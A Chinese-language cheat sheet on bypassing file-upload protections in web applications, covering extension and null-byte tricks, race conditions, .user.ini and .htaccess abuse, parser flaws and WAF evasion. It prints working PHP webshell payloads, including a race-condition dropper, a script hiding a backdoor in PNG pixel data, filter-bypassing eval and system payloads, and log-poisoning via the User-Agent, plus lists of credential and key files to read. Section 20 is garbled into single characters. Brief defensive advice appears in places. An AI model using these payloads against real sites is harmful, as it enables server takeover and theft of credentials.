文件上传常用绕过方式
1.前端代码,限制只允许上传图片。修改png为php即可绕过前端校验。
2.后端校验Content-Type 校验文件格式
前端修改,抓取上传数据包,并且修改 Content-Type
3.服务端检测(目录路径检测)
对目录路径的检测不够严谨而导致可以使用%00截断绕过进行攻击。
绕过方法:
例如:/111.php%00.gif/111.gif -> /111.php
4.服务端检测(文件扩展名检查)
绕过方法:
- 文件名大小写绕过,如:.pHp .aSP
- 文件名双写绕过,如:.pphphp
- Unicode: 当目标存在json_decode且检查在json_decode之前,可以将php写为\u0070hp
- 名单列表绕过,如:.asa .cer
- 特殊文件名绕过,比如windows文件名最后不能有.或空格,可设为.php.或*.php+
- 0x00截断绕过,比如:*.php(0x00).jpg 或 *.php%00.jpg
5.竞争条件攻击
一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
攻击方法:
- 攻击者需要先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码
<?php fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');?>
- 当1.php上传完成后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了WebShell的上传
6.双文件上传
上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。
利用方式:
- 在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的绝对路径,比如:xxx.asp/xxx.php
- 补全url:https://www.xxx.com/xxx.php(asp)
- 构造本地post提交表单
利用时只需要修改action的值为指定上传页面即可
- 第一个文件上传允许的文件类型(.jpg .png .gif 等),第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制,成功上传木马到服务器。
7.文件上传中的目录穿越漏洞
目录穿越(目录遍历)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。目录穿越不仅可以访问服务器中的任何目录,还可以访问服务器中任何文件的内容。例如,攻击者通过浏览器访问…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd(此处较多…/),就可以读取Linux服务器根目录下的etc目录下的passwd文件的内容。
目录穿越比目录浏览、目录遍历更具破坏性,目录穿越不仅可以读取服务器中任何目录及任何文件的内容,还可以执行系统命令。又例如攻击者通过浏览器访问s/…%5c…/Windows/system32/cmd.exe?/C+dir+C:,使用IIS中间件的s目录来变换目录并达到执行命令的目的。这个Web请求会返回C:所有文件列表,这是通过调用cmd.exe程序并执行dir C:命令来实现的。%5c是Web服务器的转换符,用来代表一些常见字符,这里表示的是反斜杠。
攻击方式
形式:上传的文件会被解析为日志不能执行,给出了/uploads/xxx.php路径并且可以查询
绕过:上传文件的时候抓包,修改文件名(filename)为./…/…/…/…/flag,上传成功后路径变为/uploads/./…/…/…/…/flag即可进行目录穿越
8.二次渲染
文件二次渲染:当你上传一个图片后,服务器会对图片进行处理,你的后门也就很可能被处理了
解决思路:使用脚本,有人分析了图片处理的规律,使用脚本可以把后门代码写入图片而不被处理
可以利用工具来将木马插入到图片中,工具代码如下,将代码放置到PHP环境中执行即可
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'2.png'); //要修改的图片的路径 /* 木马内容 <?$_GET[0]($_POST[1]);?>*/
?>
9.文件幻数检测(文件开头)
幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
要绕过文件幻数检测就要在文件开头写上如下的值
.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47
在文件幻数后面加上自己的WebShell代码就行
文件相关信息检测 #
图像文件相关信息检测常用的是getimagesize()函数,需要把文件头部分伪造,也就是在幻数的基础上还加了一些文件信息。
例如下面结构
GIF89a
(…some binary data for image…)
<?php phpinfo(); ?>
(… skipping the rest of binary data …)
10.filename字段文件后缀校验
什么是php.ini
php.ini是php默认的配置文件。其中包含四种配置,
在PHP_INI_USER的配置项中,提到.user.ini。
这里作用解释如下:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
.user.ini 是PHP 支持基于每个目录的 INI 文件配置。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这里的意思就是说我们在.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,只要是使用CGI/FastCGI模式的服务器都可以使用.user.ini
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。
二、auto_prepend_file和auto_append_file
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file、auto_prepend_file,点开看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=11.gif
11.gif是要包含的文件。
auto_prepend_file 在文顶部插入加载文件;
auto_append_file 在文件最后插入加载文件(当文件调用的有exit()时该设置无效)
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
user.ini的利用
如果加入了php后缀校验的话,路就被封死了。但还有另外一条路,就是非php文件后缀解析按照php进行解析。文件后缀校验解决思路:引入 user.ini 文件。根据网上查到的信息,user.ini文件中有个字段 auto_prepend_file 它可以把指定文件文件加载到网站的首页,是根目录的首页。
user.ini文件使用的限制条件:
上传.user.ini的目录必须有设置默认首页
php版本必须要在5以上
使用user.ini文件的好处:
可以突破文件后缀的检测
可以突破图片目录不给解析执行权限的限制
11.php过滤绕过(与user.ini联用的,上传的图片有PHP检查,需要绕过)
过滤php 构造payload:<?=eval($_POST[x]);?>
过滤 [] 构造payload:<?=eval($_POST{x});?>
过滤 ; 与 [] 构造payload:<?=system('tac ../flag.*')?>
过滤() 构造payload:<?=`tac ../fl*`?>
12.日志包含
上传了.user.ini之后,访问upload目录显示403,所以我们需要上传一个index.php,构造.user.ini利用条件:上传index.php 内容随意。上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>
13.上传zip格式
直接上传一个 shell.php ,内容为后门文件,链接即可
14. .htaccess文件绕过(.htaccess文件是Apache Web服务器中的一个配置文件,用于控制特定目录及其所有子目录的网页配置)
.htaccess 默认不支持 nginx,设置后支持,默认支持Apache,.htaccess 可以通过设置实现nginx文件解析配置,将.png 后缀的文件解析成 php。
首先先上传 .htaccess 文件
上传含有后门的图片
15.目录浏览(目录遍历)漏洞
目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备。
目录浏览漏洞的探测 :可以利用web漏洞扫描器扫描web应用进行检测,也可通过搜索,网站标题包含 “index of” 关键词的网站进行访问
目录浏览漏洞的危害:攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者;攻击者可能通过浏览目录结构,访问到某些隐秘文件(如phpinfo文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)。
目录浏览漏洞的预防:
IIS中关闭目录浏览功能:在IIS的网站属性中,勾去“目录浏览”选项,重启IIS。
Apache中关闭目录浏览功能:打开Apache配置文件httpd.conf,查找“Options Indexes FollowSymLinks”,修改为“ Options -Indexes”(减号表示取消,保存退出,重启Apache)。
Nginx 中默认不会开启目录浏览功能,若您发现当前已开启该功能,可以编辑nginx.conf文件,删除如下两行:autoindex on;autoinxex_exact_size on,然后重启Nginx。
16.任意文件读取/下载漏洞
任意文件读取/下载漏洞比目录浏览漏洞危害更大,他不仅会泄露网站的目录结构,而且攻击者可以直接获得网站文件的内容。攻击者可以因此获取到很多机密的文件,比如配置文件,比如 /etc/passwd、/root/.bash_history文件等。
任意文件读取/下载漏洞的挖掘:
通过web漏洞扫描工具对网站实施扫描可能发现任意文件读取/下载漏洞,发送一系列”../”字符来遍历高层目录,并且尝试找到系统的配置文件或者系统中存在的敏感文件。
也可通过判断网站语言,并根据其url中部分提供的参数,进行构造相关的路径信息,如收集到网站中间件版本为apache,则想办法构造../../../ WEB-INF/web.xml等,然后查看其是否可被读取或者下载出来。
有些WAF会过滤../,可以构造 /.%252e/.%252e/.%252e/ , %25对应的是%,%2e对应的是.,所以 .%252e/ 对应的是 ../
任意文件读取/下载漏洞的危害:下载服务器任意文件,如脚本代码、服务及系统配置文件等。可用得到的代码进一步代码审计,得到更多可利用漏洞。
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
…
Linux:
/etc/passwd #查看用户文件
/etc/shadow #查看密码文件,如果能读取该文件说明是root权限
/etc/my.cnf
/etc/httpd/conf/httpd.conf #查看apache的配置文件
/root/.bash_history #查看历史命令
/root/.mysql_history #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
程序的配置文件
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf
index.php?f=…/…/…/…/…/…/etc/passwd
针对Linux系统任意文件下载的几种思路:
下载源代码审计
数据库备份
信息收集
中间件
任意文件读取/下载漏洞的预防:
- 净化数据:对用户传过来的文件名参数进行统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
- web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,使其即使越权也在访问目录之内。www目录就是一个chroot应用。由chroot创造出的那个根目录,叫做“chroot监狱”(所谓"监狱"就是指通过chroot机制来更改。某个进程所能看到的根目录,即将某进程限制在指定目录中,保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全,详细具体chroot的用法,可参考http://blog.csdn.net/frozen_fish/article/details/2244870
- 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生,例如ibm的websphere的任意文件下载漏洞,需更新其中间件的版本可修复。
- 要下载的文件地址保存至数据库中。
- 文件路径保存至数据库,让用户提交文件对应ID下载文件。
- 用户下载文件之前需要进行权限判断。
- 文件放在web无法直接访问的目录下。
- 不允许提供目录遍历服务。
- 公开文件可放置在web应用程序下载目录中通过链接进行下载。
任意文件读取/下载漏洞的场景:出现在文件读取或者展示图片等对文件读取交互的功能块。
利用任意文件读取漏洞Getshell
想直接利用任意文件读取来Getshell还是比较难的。如果目标网站是Tomcat的话,可以利用文件读取漏洞来读取Tomcat的tomcat-users.xml配置文件,然后得到Tomcat管理页面的账号密码,登录,上传War包Getshell。具体上传war包getshell,传送门:https://blog.csdn.net/qq_36119192/article/details/90446112#%E5%BC%B1%E5%8F%A3%E4%BB%A4%2BGetshell
然而,如何能知道Tomcat的tomcat-users.xml配置文件的绝对路径呢?这确实很难找。这里有一个思路就是,我们可以通过读取 .bash_history文件来查看管理员的历史命令,来得到Tomcat的安装路径,从而得知tomcat-users.xml的绝对路径。
17.文件解析 #(IIS5.x-6.x解析漏洞)
形式:www.xxx.com/xxx.asp;.jpg
原理:服务器默认不解析;后面的内容,因此xxx.asp;jpg被解析为xxx.asp文件了
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
18.Apache解析漏洞
服务器代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其它后缀的,例如在httpd.conf中如果配置有如下代码,则能够解析php和phtml文件
AddType application/x-httpd-php .php .phtml
常用后缀:*.php *.php3 *.php4 *.php5 *.phtml *.pht
在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。因此,例如上传的文件名为1.php.xxxx,因为后缀xxxx不可解析,所以向左解析后缀php。
例如:shell.php.qwe.asd ->shell.php
18.Nginx解析漏洞
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过 正则匹配设置SCRIPT_FILENAME。当访问www.xxx.com/phpinfo.jpg/1.php这个 URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI。
原因是开启了 fix_pathinfo 这个选项,会触发 在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会 将phpinfo.jpg作为PHP文件来解析了。
攻击方式
- 形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
- 另一种方法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
19.IIS7.5解析漏洞
- IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
20.配合操作系统文件命令规则
(1)上传不符合windows文件命名规则的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::
D
A
T
A
s
h
e
l
l
.
p
h
p
:
:
DATA shell.php::
DATA shell.php::DATA…….
会被windows系统自动去掉不符合规则符号后面的内容。
(2)linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
21.WAF绕过
21.1 垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
21.2 filename
或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
21.3 POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
21.4 以上方式
针对WAF,以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。
21.5 利用waf本身缺陷
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
删除Content-Disposition字段里的空格
加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小写
Boundary边界不一致
每次文件上传时的Boundary边界都是一致的:
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:
Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除
将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
文件校验的几点建议
- 文件扩展名服务端白名单校验。
- 文件内容服务端校验。
- 上传文件重命名。
- 隐藏上传文件路径。
以上几点,可以防御绝大多数上传漏洞,但是需要跟服务器容器结合起来。如果解析漏洞依然存在,那么没有绝对的安全。